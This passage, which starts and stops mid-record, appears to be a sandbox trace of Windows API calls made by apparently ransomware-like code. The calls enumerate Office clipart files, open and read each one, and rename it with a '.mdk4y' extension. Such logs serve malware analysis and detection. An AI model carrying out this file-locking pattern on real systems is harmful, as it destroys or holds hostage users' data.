lpPerformanceCount=0x37dee4*=1823658100000) returned 1 [0161.352] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf.mdk4y")) returned 1 [0161.353] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.353] AreFileApisANSI () returned 1 [0161.353] GetACP () returned 0x4e4 [0161.353] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0200163.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0200163.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.353] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.355] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823658500000) returned 1 [0161.355] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1c0c, lpOverlapped=0x0) returned 1 [0161.357] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823658700000) returned 1 [0161.357] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823658700000) returned 1 [0161.357] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf.mdk4y")) returned 1 [0161.359] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.359] AreFileApisANSI () returned 1 [0161.359] GetACP () returned 0x4e4 [0161.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0200183.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0200183.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.359] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.359] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823658900000) returned 1 [0161.360] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x14c0, lpOverlapped=0x0) returned 1 [0161.414] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823664400000) returned 1 [0161.414] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823664400000) returned 1 [0161.415] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf.mdk4y")) returned 1 [0161.416] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.416] AreFileApisANSI () returned 1 [0161.416] GetACP () returned 0x4e4 [0161.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0200189.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0200189.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.416] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.417] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823664700000) returned 1 [0161.417] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f7c, lpOverlapped=0x0) returned 1 [0161.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823689200000) returned 1 [0161.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823689200000) returned 1 [0161.663] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf.mdk4y")) returned 1 [0161.663] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.663] AreFileApisANSI () returned 1 [0161.663] GetACP () returned 0x4e4 [0161.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0200273.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0200273.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.664] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823689400000) returned 1 [0161.664] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7a46, lpOverlapped=0x0) returned 1 [0161.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823697400000) returned 1 [0161.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823697500000) returned 1 [0161.745] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf.mdk4y")) returned 1 [0161.746] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.746] AreFileApisANSI () returned 1 [0161.746] GetACP () returned 0x4e4 [0161.746] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0200279.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0200279.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.746] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823697700000) returned 1 [0161.747] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4c0a, lpOverlapped=0x0) returned 1 [0161.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823700400000) returned 1 [0161.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823700400000) returned 1 [0161.775] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf.mdk4y")) returned 1 [0161.776] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.776] AreFileApisANSI () returned 1 [0161.776] GetACP () returned 0x4e4 [0161.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0200289.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0200289.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.776] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.777] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823700700000) returned 1 [0161.777] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa0b0, lpOverlapped=0x0) returned 1 [0161.778] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823700800000) returned 1 [0161.778] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823700800000) returned 1 [0161.779] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf.mdk4y")) returned 1 [0161.780] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.780] AreFileApisANSI () returned 1 [0161.780] GetACP () returned 0x4e4 [0161.780] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0200377.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0200377.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.780] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.781] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823701100000) returned 1 [0161.781] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4f08, lpOverlapped=0x0) returned 1 [0161.821] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823705100000) returned 1 [0161.821] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823705100000) returned 1 [0161.821] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf.mdk4y")) returned 1 [0161.822] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.822] AreFileApisANSI () returned 1 [0161.822] GetACP () returned 0x4e4 [0161.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0200383.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0200383.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.822] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.824] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823705400000) returned 1 [0161.824] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5398, lpOverlapped=0x0) returned 1 [0161.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823706700000) returned 1 [0161.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823706700000) returned 1 [0161.838] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf.mdk4y")) returned 1 [0161.839] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.839] AreFileApisANSI () returned 1 [0161.839] GetACP () returned 0x4e4 [0161.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0200467.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0200467.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.839] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.840] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823707000000) returned 1 [0161.840] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x366e, lpOverlapped=0x0) returned 1 [0161.890] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823712000000) returned 1 [0161.890] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823712000000) returned 1 [0161.891] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf.mdk4y")) returned 1 [0161.892] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.892] AreFileApisANSI () returned 1 [0161.892] GetACP () returned 0x4e4 [0161.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0200521.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0200521.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.892] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.892] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823712200000) returned 1 [0161.892] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x273e, lpOverlapped=0x0) returned 1 [0161.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823713400000) returned 1 [0161.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823713400000) returned 1 [0161.904] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf.mdk4y")) returned 1 [0161.905] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.905] AreFileApisANSI () returned 1 [0161.905] GetACP () returned 0x4e4 [0161.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0200611.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0200611.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.905] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823713600000) returned 1 [0161.906] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf36, lpOverlapped=0x0) returned 1 [0161.911] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823714100000) returned 1 [0161.911] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823714100000) returned 1 [0161.911] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf.mdk4y")) returned 1 [0161.912] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.912] AreFileApisANSI () returned 1 [0161.912] GetACP () returned 0x4e4 [0161.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0202045.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0202045.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0161.913] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.913] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823714300000) returned 1 [0161.913] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa50e, lpOverlapped=0x0) returned 1 [0161.921] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823715100000) returned 1 [0161.921] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823715100000) returned 1 [0161.922] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg.mdk4y")) returned 1 [0161.923] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.923] AreFileApisANSI () returned 1 [0161.923] GetACP () returned 0x4e4 [0161.923] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0211981.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0211981.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.923] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.923] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823715300000) returned 1 [0161.923] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6e74, lpOverlapped=0x0) returned 1 [0161.961] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823719200000) returned 1 [0161.962] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823719200000) returned 1 [0161.962] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf.mdk4y")) returned 1 [0161.963] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.963] AreFileApisANSI () returned 1 [0161.963] GetACP () returned 0x4e4 [0161.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0212299.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0212299.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.964] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823719800000) returned 1 [0161.968] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x180e, lpOverlapped=0x0) returned 1 [0162.197] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823742700000) returned 1 [0162.197] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823742700000) returned 1 [0162.197] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf.mdk4y")) returned 1 [0162.198] FindNextFileW (in: hFindFile=0x6ab310, 